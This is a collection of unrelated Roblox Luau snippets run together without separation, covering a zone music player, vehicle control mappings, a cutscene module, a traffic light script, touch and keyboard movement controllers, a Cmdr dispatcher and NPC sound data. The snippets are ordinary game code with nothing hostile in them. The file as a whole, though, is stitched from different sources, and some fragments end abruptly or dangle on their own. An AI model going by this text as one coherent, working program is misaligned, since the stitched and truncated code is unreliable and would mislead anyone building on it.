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--now, get to playing the music
local FadeoutTime = settings.MusicFadeoutTime function PlaySound(sounddata) if sounddata == nil then return end local sound = Instance.new("Sound") sound.Looped = true sound.SoundId = sounddata.SoundId sound.Volume = musicon and sounddata.Volume or 0 local v = Instance.new("NumberValue",sound) v.Name = "OriginalVolume" v.Value = sounddata.Volume sound.Pitch = sounddata.Pitch sound.Name = "BGM" sound.Parent = script sound:Play() end function FadeOutSound(sound) local basevol = sound.Volume local count = math.ceil(30*FadeoutTime) if count < 1 then count = 1 end for i=1,count do if sound then sound.Volume = sound.Volume - (basevol / count) wait(1/30) end end if sound then sound:Stop() sound:Destroy() end end if settings.UseGlobalBackgroundMusic == true and settings.UseMusicZones == false then if #music[globali] == 1 then --global BGM with just 1 song? ez pz PlaySound(music[1][1]) return elseif #music[globali] == 0 then --there's no music to play...? return end end local recentindices = {} --keeps track of recently selected indicies, so as not to play repeat music tracks math.randomseed(tick()) local currentzone local zoneplayingmusic function CheckIfRecent(i) for _,v in pairs(recentindices) do if v == i then return true end end return false end function SelectRandomMusic(musiclist) --select a random number, excluding ones that were already used recently if musiclist == nil or #musiclist == 0 then return end local possiblenumbers = {} local selectedindex for i=1,#musiclist do if not CheckIfRecent(i) then table.insert(possiblenumbers,i) end end local selectedindex = possiblenumbers[math.random(1,#possiblenumbers)] table.insert(recentindices,selectedindex) if #recentindices > math.ceil(#musiclist / 2) then table.remove(recentindices,1) end return musiclist[selectedindex] end function IsInZone(zonedata) if torso and torso.Parent ~= nil then local p = torso.Position for _,data in pairs(zonedata["Parts"]) do if data["Coordinates"] then local t = data["Coordinates"] if (p.x > t.lx and p.x < t.mx and p.y > t.ly and p.y < t.my and p.z > t.lz and p.z < t.mz) then --is the character within all the coordinates of the zone? return true end elseif data["Part"] then --complex part? create a clone of the part and check if it's touching the character's torso local part = data["Part"]:clone() part.Anchored = true part.Parent = workspace.CurrentCamera or workspace part.CanCollide = true local touching = part:GetTouchingParts() part:Destroy() for _,v in pairs(touching) do if v == torso then return true end end end end return false end end function CalculateCurrentZone() local priority = -math.huge local oldzone = currentzone local selectedzone if currentzone then if IsInZone(currentzone) then selectedzone = currentzone priority = currentzone["Priority"] end end for _,zone in pairs(zones) do if zone["Priority"] > priority and IsInZone(zone) then priority = zone["Priority"] selectedzone = zone end end currentzone = selectedzone if currentzone ~= oldzone and (currentzone ~= nil or settings.UseGlobalBackgroundMusic == true) then recentindices = {} end return currentzone,oldzone end function RunCycle() --the main cycle which will continuously run, checking which zones (if any) the character is in and playing new music when necessary local bgm = script:FindFirstChild("BGM") if settings.UseMusicZones == true then local zone,oldzone = CalculateCurrentZone() if zone ~= oldzone and zone ~= zoneplayingmusic and bgm then if (zone == nil and (settings.UseGlobalBackgroundMusic == true or settings.MusicOnlyPlaysWithinZones == true)) or zone ~= nil then FadeOutSound(bgm) return end elseif zone and bgm == nil then PlaySound(SelectRandomMusic(zone["Music"])) zoneplayingmusic = zone return elseif zone == nil and oldzone and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then PlaySound(SelectRandomMusic(oldzone["Music"])) zoneplayingmusic = oldzone return elseif zoneplayingmusic and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then PlaySound(SelectRandomMusic(zoneplayingmusic["Music"])) return elseif settings.UseGlobalBackgroundMusic == true and bgm == nil then PlaySound(SelectRandomMusic(music[globali])) zoneplayingmusic = nil return end elseif bgm == nil and settings.UseGlobalBackgroundMusic == true then PlaySound(SelectRandomMusic(music[globali])) return end if bgm and (settings.UseGlobalBackgroundMusic == true and zoneplayingmusic == nil and #music[globali] > 1) or (zoneplayingmusic and #zoneplayingmusic["Music"] > 1) then local length = bgm.TimeLength local pos = bgm.TimePosition if length ~= 0 and length - pos < FadeoutTime + .5 then FadeOutSound(bgm) end end end while wait(.5) do RunCycle() end
--[=[ @param optionB Option @return Option If both `self` and `optionB` have values _or_ both don't have a value, then this returns None. Otherwise, it returns the option that does have a value. ]=]
function Option:XOr(optionB) local someOptA = self:IsSome() local someOptB = optionB:IsSome() if someOptA == someOptB then return Option.None elseif someOptA then return self else return optionB end end
-- declarations
local head = script.Parent function onTouched(part) local h = part.Parent:findFirstChild("Humanoid") if h~=nil then sound:play() if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c84892c " end end script.Parent.Touched:connect(onTouched)
--This device is entirely open-source.
Base = script.Parent.Base Button = script.Parent.Button Host = script.Parent.Parent.Parent.Events.DoorOpen function verify(identity) Host.BypassLevel.Value = true Host.AccessLevelProvided.Value = -1 Host:Fire() end Button.ClickDetector.MouseClick:Connect(verify)
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("MSG",Paint) end)
--Miscellaneous Settings:
HANDBRAKE_ANG = 15 --Angle of handbrake when active in degrees PADDLE_ANG = 15 --Angle of paddle shifter PADDLE_INVERTED = false --Sets right paddle to shift down and vice versa PEDAL_ANGLE = 55 --Angle of pedals when active in degrees PED_INVERTED = false --Inverts the pedal angle (for top mounted pedals) SHIFTER_TYPE = "Seq" --"H" for H-Pattern, "Seq" for sequential shifter SEQ_INVERTED = false --Inverts the sequential shifter motion SHIFT_TIME = 0.25 --Time it takes to shift between all parts (Clutch pedal, Paddle shifter, Shifter VERTICAL_ANG = 8.5 --Vertical shifter movement angle in degrees HORIZONTAL_ANG = 10.0 --Horizontal shifter increments in degrees (H-Pattern only) STEER_MULT = 7.0 --Steering multiplier angle (Arbitrary)
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles --ToggleTCS = Enum.KeyCode.T , --ToggleABS = Enum.KeyCode.Y , --ToggleTransMode = Enum.KeyCode.M , --ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake --PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--tool = script.Parent.Pistol
function Die() --if tool ~= nil then tool:remove() end --game.workspace.Scripts.WaveScript.Dead_Zombies.Value = game.workspace.Scripts.WaveScript.Dead_Zombies.Value + 1 wait(2.5) script.Parent:remove() end human.Died:connect(Die)
-- Handle command invocations from the clients.
Cmdr.RemoteFunction.OnServerInvoke = function (player, text, options) if #text > 100_000 then return "Input too long" end return Cmdr.Dispatcher:EvaluateAndRun(text, player, options) end return Cmdr
--- Invoke
Signal.Invoke = function(funcName, ...) funcName = string.lower(funcName) local func = GetFunc(funcName) if (not isServer) and funcName ~= "core signal fired" then Signal.Fire("CORE Signal Fired", funcName) end -- return func:Invoke(...) end
----- NO EDITING BELOW -----
local weldedParts = {} table.insert(weldedParts,mainPart) function Weld(x, y) weld = Instance.new("Weld") weld.Part0 = x weld.Part1 = y local CJ = CFrame.new(x.Position) weld.C0 = x.CFrame:inverse() * CJ weld.C1 = y.CFrame:inverse() * CJ weld.Parent = x table.insert(weldedParts,y) end function WeldRec(instance) local childs = instance:GetDescendants() for _,v in pairs(childs) do if v:IsA("BasePart") then Weld(mainPart, v) end WeldRec(v) end end WeldRec(P)
--MasterControl needs access to ControlState in order to be able to fully enable and disable control
MasterControl.ControlState = ControlState local DynamicThumbstickModule = require(script.MasterControl:WaitForChild('DynamicThumbstick')) local ThumbstickModule = require(script.MasterControl:WaitForChild('Thumbstick')) local ThumbpadModule = require(script.MasterControl:WaitForChild('Thumbpad')) local DPadModule = require(script.MasterControl:WaitForChild('DPad')) local DefaultModule = ControlModules.Thumbstick local TouchJumpModule = require(script.MasterControl:WaitForChild('TouchJump')) MasterControl.TouchJumpModule = TouchJumpModule local keyboardModule = require(script.MasterControl:WaitForChild('KeyboardMovement')) ControlModules.Gamepad = require(script.MasterControl:WaitForChild('Gamepad')) function getTouchModule() local module = nil if not IsUserChoice then if DynamicThumbstickAvailable and DevMovementMode == Enum.DevTouchMovementMode.DynamicThumbstick then module = DynamicThumbstickModule isJumpEnabled = false elseif DevMovementMode == Enum.DevTouchMovementMode.Thumbstick then module = ThumbstickModule isJumpEnabled = true elseif DevMovementMode == Enum.DevTouchMovementMode.Thumbpad then module = ThumbpadModule isJumpEnabled = true elseif DevMovementMode == Enum.DevTouchMovementMode.DPad then module = DPadModule isJumpEnabled = false elseif DevMovementMode == Enum.DevTouchMovementMode.ClickToMove then -- Managed by CameraScript module = nil elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then module = nil end else if DynamicThumbstickAvailable and UserMovementMode == Enum.TouchMovementMode.DynamicThumbstick then module = DynamicThumbstickModule isJumpEnabled = false elseif UserMovementMode == Enum.TouchMovementMode.Default or UserMovementMode == Enum.TouchMovementMode.Thumbstick then module = ThumbstickModule isJumpEnabled = true elseif UserMovementMode == Enum.TouchMovementMode.Thumbpad then module = ThumbpadModule isJumpEnabled = true elseif UserMovementMode == Enum.TouchMovementMode.DPad then module = DPadModule isJumpEnabled = false elseif UserMovementMode == Enum.TouchMovementMode.ClickToMove then -- Managed by CameraScript module = nil end end return module end function setJumpModule(isEnabled) if not isEnabled then TouchJumpModule:Disable() elseif ControlState.Current == ControlModules.Touch then TouchJumpModule:Enable() end end function setClickToMove() if DevMovementMode == Enum.DevTouchMovementMode.ClickToMove or DevMovementMode == Enum.DevComputerMovementMode.ClickToMove or UserMovementMode == Enum.ComputerMovementMode.ClickToMove or UserMovementMode == Enum.TouchMovementMode.ClickToMove then -- if lastInputType == Enum.UserInputType.Touch then ClickToMoveTouchControls = ControlState.Current end elseif ClickToMoveTouchControls then ClickToMoveTouchControls:Disable() ClickToMoveTouchControls = nil end end ControlModules.Touch = {} ControlModules.Touch.Current = nil ControlModules.Touch.LocalPlayerChangedCon = nil ControlModules.Touch.GameSettingsChangedCon = nil function ControlModules.Touch:RefreshControlStyle() if ControlModules.Touch.Current then ControlModules.Touch.Current:Disable() end setJumpModule(false) TouchJumpModule:Disable() ControlModules.Touch:Enable() end function ControlModules.Touch:DisconnectEvents() if ControlModules.Touch.LocalPlayerChangedCon then ControlModules.Touch.LocalPlayerChangedCon:disconnect() ControlModules.Touch.LocalPlayerChangedCon = nil end if ControlModules.Touch.GameSettingsChangedCon then ControlModules.Touch.GameSettingsChangedCon:disconnect() ControlModules.Touch.GameSettingsChangedCon = nil end end function ControlModules.Touch:Enable() DevMovementMode = LocalPlayer.DevTouchMovementMode IsUserChoice = DevMovementMode == Enum.DevTouchMovementMode.UserChoice if IsUserChoice then UserMovementMode = GameSettings.TouchMovementMode end local newModuleToEnable = getTouchModule() if newModuleToEnable then setClickToMove() setJumpModule(isJumpEnabled) newModuleToEnable:Enable() ControlModules.Touch.Current = newModuleToEnable if isJumpEnabled then TouchJumpModule:Enable() end end -- This being within the above if statement was causing issues with ClickToMove, which isn't a module within this script. ControlModules.Touch:DisconnectEvents() ControlModules.Touch.LocalPlayerChangedCon = LocalPlayer.Changed:connect(function(property) if property == 'DevTouchMovementMode' then ControlModules.Touch:RefreshControlStyle() end end) ControlModules.Touch.GameSettingsChangedCon = GameSettings.Changed:connect(function(property) if property == 'TouchMovementMode' then ControlModules.Touch:RefreshControlStyle() end end) end function ControlModules.Touch:Disable() ControlModules.Touch:DisconnectEvents() local newModuleToDisable = getTouchModule() if newModuleToDisable == ThumbstickModule or newModuleToDisable == DPadModule or newModuleToDisable == ThumbpadModule or newModuleToDisable == DynamicThumbstickModule then newModuleToDisable:Disable() setJumpModule(false) TouchJumpModule:Disable() end end local function getKeyboardModule() -- NOTE: Click to move still uses keyboard. Leaving cases in case this ever changes. local whichModule = nil if not IsUserChoice then if DevMovementMode == Enum.DevComputerMovementMode.KeyboardMouse then whichModule = keyboardModule elseif DevMovementMode == Enum.DevComputerMovementMode.ClickToMove then -- Managed by CameraScript whichModule = keyboardModule end else if UserMovementMode == Enum.ComputerMovementMode.KeyboardMouse or UserMovementMode == Enum.ComputerMovementMode.Default then whichModule = keyboardModule elseif UserMovementMode == Enum.ComputerMovementMode.ClickToMove then -- Managed by CameraScript whichModule = keyboardModule end end return whichModule end ControlModules.Keyboard = {} function ControlModules.Keyboard:RefreshControlStyle() ControlModules.Keyboard:Disable() ControlModules.Keyboard:Enable() end function ControlModules.Keyboard:Enable() DevMovementMode = LocalPlayer.DevComputerMovementMode IsUserChoice = DevMovementMode == Enum.DevComputerMovementMode.UserChoice if IsUserChoice then UserMovementMode = GameSettings.ComputerMovementMode end local newModuleToEnable = getKeyboardModule() if newModuleToEnable then newModuleToEnable:Enable() end ControlModules.Keyboard:DisconnectEvents() ControlModules.Keyboard.LocalPlayerChangedCon = LocalPlayer.Changed:connect(function(property) if property == 'DevComputerMovementMode' then ControlModules.Keyboard:RefreshControlStyle() end end) ControlModules.Keyboard.GameSettingsChangedCon = GameSettings.Changed:connect(function(property) if property == 'ComputerMovementMode' then ControlModules.Keyboard:RefreshControlStyle() end end) end function ControlModules.Keyboard:DisconnectEvents() if ControlModules.Keyboard.LocalPlayerChangedCon then ControlModules.Keyboard.LocalPlayerChangedCon:disconnect() ControlModules.Keyboard.LocalPlayerChangedCon = nil end if ControlModules.Keyboard.GameSettingsChangedCon then ControlModules.Keyboard.GameSettingsChangedCon:disconnect() ControlModules.Keyboard.GameSettingsChangedCon = nil end end function ControlModules.Keyboard:Disable() ControlModules.Keyboard:DisconnectEvents() local newModuleToDisable = getKeyboardModule() if newModuleToDisable then newModuleToDisable:Disable() end end if IsTouchDevice then BindableEvent_OnFailStateChanged = script.Parent:WaitForChild('OnClickToMoveFailStateChange') end
--[[ Unpacks an animatable type into an array of numbers. If the type is not animatable, an empty array will be returned. FIXME: This function uses a lot of redefinitions to suppress false positives from the Luau typechecker - ideally these wouldn't be required FUTURE: When Luau supports singleton types, those could be used in conjunction with intersection types to make this function fully statically type checkable. ]]
local Package = script.Parent.Parent local PubTypes = require(Package.PubTypes) local Oklab = require(Package.Colour.Oklab) local function unpackType(value: any, typeString: string): {number} if typeString == "number" then local value = value :: number return {value} elseif typeString == "CFrame" then -- FUTURE: is there a better way of doing this? doing distance -- calculations on `angle` may be incorrect local axis, angle = value:ToAxisAngle() return {value.X, value.Y, value.Z, axis.X, axis.Y, axis.Z, angle} elseif typeString == "Color3" then local lab = Oklab.to(value) return {lab.X, lab.Y, lab.Z} elseif typeString == "ColorSequenceKeypoint" then local lab = Oklab.to(value.Value) return {lab.X, lab.Y, lab.Z, value.Time} elseif typeString == "DateTime" then return {value.UnixTimestampMillis} elseif typeString == "NumberRange" then return {value.Min, value.Max} elseif typeString == "NumberSequenceKeypoint" then return {value.Value, value.Time, value.Envelope} elseif typeString == "PhysicalProperties" then return {value.Density, value.Friction, value.Elasticity, value.FrictionWeight, value.ElasticityWeight} elseif typeString == "Ray" then return {value.Origin.X, value.Origin.Y, value.Origin.Z, value.Direction.X, value.Direction.Y, value.Direction.Z} elseif typeString == "Rect" then return {value.Min.X, value.Min.Y, value.Max.X, value.Max.Y} elseif typeString == "Region3" then -- FUTURE: support rotated Region3s if/when they become constructable return { value.CFrame.X, value.CFrame.Y, value.CFrame.Z, value.Size.X, value.Size.Y, value.Size.Z } elseif typeString == "Region3int16" then return {value.Min.X, value.Min.Y, value.Min.Z, value.Max.X, value.Max.Y, value.Max.Z} elseif typeString == "UDim" then return {value.Scale, value.Offset} elseif typeString == "UDim2" then return {value.X.Scale, value.X.Offset, value.Y.Scale, value.Y.Offset} elseif typeString == "Vector2" then return {value.X, value.Y} elseif typeString == "Vector2int16" then return {value.X, value.Y} elseif typeString == "Vector3" then return {value.X, value.Y, value.Z} elseif typeString == "Vector3int16" then return {value.X, value.Y, value.Z} else return {} end end return unpackType
-- ROBLOX deviation: use `unknown` type until Luau starts to support it
type unknown = any exports.default = function(globalToMutate: typeof(_G), key: string, value: unknown): () -- @ts-expect-error: no index globalToMutate[key] = value end return exports
--!strict
local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local GameSettings = UserSettings():GetService("UserGameSettings") local LocalPlayer = Players.LocalPlayer if not LocalPlayer then Players:GetPropertyChangedSignal("LocalPlayer"):Wait() LocalPlayer = Players.LocalPlayer end local Mouse = LocalPlayer:GetMouse() local Input = require(script.Parent:WaitForChild("CameraInput")) local CameraUI = require(script.Parent:WaitForChild("CameraUI")) local lastTogglePan = false local lastTogglePanChange = tick() local CROSS_MOUSE_ICON = "rbxasset://textures/Cursors/CrossMouseIcon.png" local lockStateDirty = false local wasTogglePanOnTheLastTimeYouWentIntoFirstPerson = false local lastFirstPerson = false CameraUI.setCameraModeToastEnabled(false) return function(isFirstPerson: boolean) local togglePan = Input.getTogglePan() local toastTimeout = 3 if isFirstPerson and togglePan ~= lastTogglePan then lockStateDirty = true end if lastTogglePan ~= togglePan or tick() - lastTogglePanChange > toastTimeout then local doShow = togglePan and tick() - lastTogglePanChange < toastTimeout CameraUI.setCameraModeToastOpen(doShow) if togglePan then lockStateDirty = false end lastTogglePanChange = tick() lastTogglePan = togglePan end if isFirstPerson ~= lastFirstPerson then if isFirstPerson then wasTogglePanOnTheLastTimeYouWentIntoFirstPerson = Input.getTogglePan() Input.setTogglePan(true) elseif not lockStateDirty then Input.setTogglePan(wasTogglePanOnTheLastTimeYouWentIntoFirstPerson) end end if isFirstPerson then if Input.getTogglePan() then Mouse.Icon = CROSS_MOUSE_ICON UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter GameSettings.RotationType = Enum.RotationType.CameraRelative else Mouse.Icon = "" UserInputService.MouseBehavior = Enum.MouseBehavior.Default GameSettings.RotationType = Enum.RotationType.CameraRelative end elseif Input.getTogglePan() then Mouse.Icon = CROSS_MOUSE_ICON UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter GameSettings.RotationType = Enum.RotationType.MovementRelative elseif Input.getHoldPan() then Mouse.Icon = "" UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition GameSettings.RotationType = Enum.RotationType.MovementRelative else Mouse.Icon = "" UserInputService.MouseBehavior = Enum.MouseBehavior.Default GameSettings.RotationType = Enum.RotationType.MovementRelative end lastFirstPerson = isFirstPerson end
--[ FUNCTIONS ]--
game.Players.PlayerAdded:Connect(function(player) -- When Player Join player.CharacterAdded:Connect(function(chr) -- Grabs Player Character player.Chatted:Connect(function(msg) -- When Player Chats -- IF start -- if msg:sub(1, Command:len()):lower() == Command:lower() then -- if msg is /e headless then player.Character.Head.Transparency = 1 -- makes head transparent player.Character.Head.face.Transparency = 1 -- makes face transparent else if player.Character.Head.Transparency == 1 then -- if head is transparent if msg:sub(1, LeaveCommand:len()):lower() == LeaveCommand:lower() then -- and if msg is /e unheadless then player.Character.Head.Transparency = 0 -- makes head untransparent player.Character.Head.face.Transparency = 0 -- makes face untransparent end end end -- IF end -- end) end) end)
-- Generated By Codes Otaku Plugin
local Cutscene = {} Cutscene.__index = Cutscene local TS = game:GetService("TweenService") local RuS = game:GetService("RunService") local Cutscenes = {} local DEBUG_MODE = false if not DEBUG_MODE then for i, v in pairs(workspace.Cutscenes:GetDescendants()) do if v:IsA("BasePart") then v.Transparency = 1 end end end local ERROR = { NIL_DATA = "Cutscene data can't be nil", INVALID_DATA = "Cutscene data can't be invalid", NO_CAMERA = "Cutscene camera not set" } local function hasProperty(object, prop) return pcall(function() local t = object[prop] end) end local function GetValue(Parent, Name) if Parent and hasProperty(Parent, Name) then if typeof(Parent[Name]) == "Instance" then return Parent[Name].Value else return Parent[Name] end end end function Cutscene.new(Camera, Looped, Speed, FreezeControls, Data) local Self = {} Self.Camera = Camera Self.Data = Data or {} Self.Looped = Looped or false Self.Speed = Speed or 1 Self.Instruction = 0 Self.Playing = false Self.Paused = false Self.CurrentTween = nil Self.CurrentFOVTween = nil Self.ID = #Cutscenes+1 Self.Loaded = false Self.FreezeControls = FreezeControls or false Self.ENextKeyframe = Instance.new("BindableEvent") Self.ELoaded = Instance.new("BindableEvent") Self.EPlay = Instance.new("BindableEvent") Self.EPause = Instance.new("BindableEvent") Self.EStop = Instance.new("BindableEvent") Self.EResume = Instance.new("BindableEvent") Self.DidLoop = Instance.new("BindableEvent") Self.Counter = 0 Self.Elapsed = 0 Self.NextInstruction = 0 Cutscene[Self.ID] = Self return setmetatable(Self, Cutscene) end function Cutscene.parse(DataFolder, SafeMode) local Data = {} Data[1] = {} -- Cameras Data[2] = {} -- Program local Cameras = DataFolder:FindFirstChild("Cameras") local Program = DataFolder:FindFirstChild("Program") if Cameras and Program then for i=1,#Cameras:GetChildren(),1 do if SafeMode then RuS.RenderStepped:wait() end local Camera = Cameras:FindFirstChild(tostring(i)) if Camera then Data[1][i] = {} Data[1][i][1] = GetValue(Camera, "CFrame") or CFrame.new() Data[1][i][2] = GetValue(Camera, "FOV") or 70 Data[1][i][3] = Enum.EasingStyle[GetValue(Camera, "TransitionType") or 1] Data[1][i][4] = GetValue(Camera, "TransitionDuration") or 1 Data[1][i][5] = GetValue(Camera, "TransitionDirection") or 1 Data[1][i][6] = GetValue(Camera, "TransitionDelay") or 0 end end else warn(ERROR.INVALID_DATA) end return Data end function Cutscene:Load(Data, Destroy, NoYield, SafeMode) if Data then if type(Data) == "table" then self.Data = Data elseif Data:IsA("Folder") then if NoYield then spawn(function() self.Data = Cutscene.parse(Data, SafeMode) if Destroy then Data:Destroy() end self.Loaded = true self.ELoaded:Fire() end) else self.Data = Cutscene.parse(Data, SafeMode) if Destroy then Data:Destroy() end self.Loaded = true self.ELoaded:Fire() end else warn(ERROR.INVALID_DATA) end else warn(ERROR.NIL_DATA) end end function Cutscene:Play(Speed, Looped, Camera) self.Speed = Speed or self.Speed if type(Looped) == "boolean" then self.Looped = Looped end self.Camera = self.Camera or Camera if self.Camera and self.Playing == false then if self.FreezeControls then local controls = require(game:GetService("Players").LocalPlayer.PlayerScripts.PlayerModule):GetControls() controls:Disable() end self.Camera.CameraType = Enum.CameraType.Scriptable self.Playing = true self.EPlay:Fire() else warn(ERROR.NO_CAMERA) end end function Cutscene:Resume() if self.Playing and self.Paused then self.Camera.CameraType = Enum.CameraType.Scriptable self.CurrentTween:Play() self.CurrentFOVTween:Play() self.Paused = false self.EResume:Fire() end end function Cutscene:Pause() if self.Playing == true and self.Paused == false then self.CurrentTween:Pause() self.CurrentFOVTween:Pause() self.Paused = true self.EPause:Fire() end end function Cutscene:Stop() if self.Playing == true then self.Playing = false self.Paused = false self.Instruction = 0 if self.CurrentTween then self.CurrentTween:Cancel() end self.CurrentTween = nil if self.CurrentFOVTween then self.CurrentFOVTween:Cancel() end self.CurrentFOVTween = nil self.NextInstruction = 0 self.Elapsed = 0 self.Camera.CameraType = Enum.CameraType.Custom local controls = require(game:GetService("Players").LocalPlayer.PlayerScripts.PlayerModule):GetControls() controls:Enable() local Player = game:GetService("Players").LocalPlayer local Character = Player.Character if Character then local Humanoid = Character:FindFirstChild("Humanoid") if Humanoid then self.Camera.CameraSubject = Humanoid end end self.EStop:Fire() end end function Cutscene:GetDuration(Speed) Speed = Speed or 1 local count = 0 for i,X in pairs(self.Data[1]) do count = count+X[4]+X[6] end return count/Speed end function Cutscene:Update(delta) if self.Playing == true and self.Paused == false and self.Camera then self.Camera.CameraType = Enum.CameraType.Scriptable if self.Counter >= self.NextInstruction then self.Instruction = self.Instruction + 1 local X = self.Data[1][self.Instruction] if X then if X[4] == 0 then self.Camera.FieldOfView = X[2] self.Camera.CFrame = X[1] end local TI = TweenInfo.new(X[4]/self.Speed, X[3], X[5], 0, false, X[6]/self.Speed) local TI2 = TweenInfo.new(X[4]/self.Speed, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, false, X[6]/self.Speed) local Properties = { ["CFrame"] = X[1] } self.CurrentTween = TS:Create(self.Camera, TI, Properties) self.CurrentFOVTween = TS:Create(self.Camera, TI2, {FieldOfView = X[2]}) self.CurrentTween:Play() self.CurrentFOVTween:Play() self.Counter = 0 self.NextInstruction = (X[4]+X[6])/self.Speed self.ENextKeyframe:Fire(self.Instruction, self.NextInstruction, X) else if self.Looped then self.Instruction = 0 self.Counter = 0 self.Elapsed = 0 self.NextInstruction = 0 self.DidLoop:Fire() else self:Stop() end end end self.Counter = self.Counter + delta self.Elapsed = self.Elapsed + delta end end function Cutscene:Toggle() if self.Playing then if self.Paused then self:Resume() else self:Pause() end end end function Cutscene:Destroy() if self.Playing then self:Stop() end self.CurrentTween:Destroy() self.CurrentFOVTween:Destroy() self.EPlay:Destroy() self.EPause:Destroy() self.EStop:Destroy() self.EResume:Destroy() self.ELoaded:Destroy() Cutscenes[self.ID] = nil self = nil end return Cutscene
-- local NEWLINE = "\n"
local HEADING = "s*[^%.*]+s*"
--Main Control------------------------------------------------------------------------
Red = script.Parent.Red.Lamp.ImageLabel Yellow = script.Parent.Yellow.Lamp.ImageLabel Green = script.Parent.Green.Lamp.ImageLabel DRed = script.Parent.Red.DynamicLight DYellow = script.Parent.Yellow.DynamicLight DGreen = script.Parent.Green.DynamicLight function Active() if Signal.Value == 0 then repeat Yellow.ImageTransparency = Yellow.ImageTransparency + 0.175 Red.ImageTransparency = Red.ImageTransparency + 0.175 Green.ImageTransparency = Green.ImageTransparency + 0.175 DYellow.Brightness = DYellow.Brightness - 0.35 DRed.Brightness = DRed.Brightness - 0.35 DGreen.Brightness = DGreen.Brightness - 0.35 wait() if Signal.Value ~= 0 then break end until Red.ImageTransparency == 1 and Yellow.ImageTransparency == 1 and Green.ImageTransparency == 1 and DYellow.Brightness <= 0 and DGreen.Brightness <= 0 and DRed.Brightness <= 0 elseif Signal.Value == 1 then repeat Yellow.ImageTransparency = Yellow.ImageTransparency + 0.175 Red.ImageTransparency = Red.ImageTransparency + 0.175 Green.ImageTransparency = Green.ImageTransparency - 0.125 DYellow.Brightness = DYellow.Brightness - 0.35 DRed.Brightness = DRed.Brightness - 0.35 DGreen.Brightness = DGreen.Brightness + 0.25 wait() if Signal.Value ~= 1 then break end until Red.ImageTransparency == 1 and Yellow.ImageTransparency == 1 and Green.ImageTransparency == 0 and DYellow.Brightness <= 0 and DGreen.Brightness >= 2 and DRed.Brightness == 0 elseif Signal.Value == 2 then repeat Yellow.ImageTransparency = Yellow.ImageTransparency - 0.125 Red.ImageTransparency = Red.ImageTransparency + 0.175 Green.ImageTransparency = Green.ImageTransparency + 0.175 DYellow.Brightness = DYellow.Brightness + 0.25 DRed.Brightness = DRed.Brightness - 0.35 DGreen.Brightness = DGreen.Brightness - 0.35 wait() if Signal.Value ~= 2 then break end until Red.ImageTransparency == 1 and Yellow.ImageTransparency == 0 and Green.ImageTransparency == 1 and DYellow.Brightness >= 2 and DGreen.Brightness <= 0 and DRed.Brightness <= 0 elseif Signal.Value == 3 then repeat Yellow.ImageTransparency = Yellow.ImageTransparency + 0.175 Red.ImageTransparency = Red.ImageTransparency - 0.125 Green.ImageTransparency = Green.ImageTransparency + 0.175 DYellow.Brightness = DYellow.Brightness - 0.35 DRed.Brightness = DRed.Brightness + 0.25 DGreen.Brightness = DGreen.Brightness - 0.35 wait() if Signal.Value ~= 3 then break end until Red.ImageTransparency == 0 and Yellow.ImageTransparency == 1 and Green.ImageTransparency == 1 and DYellow.Brightness <= 0 and DGreen.Brightness <= 0 and DRed.Brightness >= 2 end end Signal.Changed:connect(Active)
-- Setup the waypoint controller and set the first waypoint
local controller = WaypointController.new(player)
-- Roblox NPC sound script
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local SOUND_DATA = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, }, Died = { SoundId = "rbxasset://sounds/uuhhh.mp3", }, FreeFalling = { SoundId = "rbxasset://sounds/action_falling.mp3", Looped = true, }, GettingUp = { SoundId = "rbxasset://sounds/action_get_up.mp3", }, Jumping = { SoundId = "rbxasset://sounds/action_jump.mp3", }, Landing = { SoundId = "rbxasset://sounds/action_jump_land.mp3", }, Running = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, Pitch = 1.85, }, Splash = { SoundId = "rbxasset://sounds/impact_water.mp3", }, Swimming = { SoundId = "rbxasset://sounds/action_swim.mp3", Looped = true, Pitch = 1.6, }, }
-- OFFSET HANDLERS
